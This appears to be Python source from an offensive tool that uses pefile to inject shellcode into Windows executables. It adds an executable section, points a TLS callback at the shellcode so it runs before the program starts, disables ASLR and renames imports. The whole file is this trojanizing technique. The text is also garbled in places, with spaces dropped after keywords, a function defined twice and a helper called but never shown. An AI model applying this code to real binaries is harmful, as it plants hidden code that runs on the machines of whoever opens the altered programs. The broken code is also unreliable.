defset_iat(pe, original_iat, new_iat): """ Set original_iat to new_iat """ iflen(new_iat) < len(original_iat): new_iat += b'\x00' * (len(original_iat) - len(new_iat)) for entry in pe.DIRECTORY_ENTRY_IMPORT: for imp in entry.imports: if imp.name == original_iat: imp.name = new_iat return pe
defupdate_tls_structure(rva, pe: pefile.PE) -> pefile.PE: # Set AddressOfIndex (It will point to the same structure, SizeOfZeroFill field) pe.set_dword_at_rva(rva + 8, pe.OPTIONAL_HEADER.ImageBase + rva + 16) # Set AddressOfCallBacks to point to the callbacks array pe.set_dword_at_rva(rva + 12, pe.OPTIONAL_HEADER.ImageBase + rva + 24) print(f"[+] AddressOfCallBacks pointing to the array of callback " f"addresses (va: 0x{pe.OPTIONAL_HEADER.ImageBase + rva + 24:x})") # Set first pointer of the callbacks array to point to the Shellcode pe.set_dword_at_rva(rva + 24, pe.OPTIONAL_HEADER.ImageBase + rva + 32) print(f"[+] First callback entry pointing to the shellcode (va: 0x{pe.OPTIONAL_HEADER.ImageBase + rva + 32:x})") # Update the IMAGE_DIRECTORY_ENTRY_TLS. pe.OPTIONAL_HEADER.DATA_DIRECTORY[9].VirtualAddress = rva pe.OPTIONAL_HEADER.DATA_DIRECTORY[9].Size = 0x18 print("[+] IMAGE_DIRECTORY_ENTRY_TLS updated") print(f" VirtualAddress: 0x{pe.OPTIONAL_HEADER.DATA_DIRECTORY[9].VirtualAddress:x} ") print(f" Size: 0x{pe.OPTIONAL_HEADER.DATA_DIRECTORY[9].Size:x} ") return pe
defsection_manage(pe, shellcode): pe = create_section(pe, shellcode, 0xE0000020) pe = update_tls_structure(pe.sections[-1].VirtualAddress, pe) pe = disable_aslr(pe) return pe
defdisable_aslr(pe: pefile.PE) -> pefile.PE: IMAGE_DLL_CHARACTERISTICS_DYNAMIC_BASE = 0x40# flag indicates relocation at if (pe.OPTIONAL_HEADER.DllCharacteristics & IMAGE_DLL_CHARACTERISTICS_DYNAMIC_BASE): # check if ASLR is enabled pe.OPTIONAL_HEADER.DllCharacteristics &= ~IMAGE_DLL_CHARACTERISTICS_DYNAMIC_BASE print("ASLR disabled") return pe
definject_tls(binary, shellcode): print(f"[+] Shellcode size: {len(shellcode)} bytes") pe = pefile.PE(data=binary) ifnothasattr(pe, 'DIRECTORY_ENTRY_TLS'): print("[+] TLS Directory not present") # Add the 32 bytes TLS structure to the shellcode shellcode = bytes('\0' * 32, 'utf-8') + shellcode pe = section_manage(pe, shellcode)
# DIRECTORY_ENTRY_TLS present else: print("[-] The binary does already have the TLS Directory.") return pe
defdisable_aslr(pe: pefile.PE) -> pefile.PE: IMAGE_DLL_CHARACTERISTICS_DYNAMIC_BASE = 0x40# flag indicates relocation at if (pe.OPTIONAL_HEADER.DllCharacteristics & IMAGE_DLL_CHARACTERISTICS_DYNAMIC_BASE): # check if ASLR is enabled pe.OPTIONAL_HEADER.DllCharacteristics &= ~IMAGE_DLL_CHARACTERISTICS_DYNAMIC_BASE print("ASLR disabled") return pe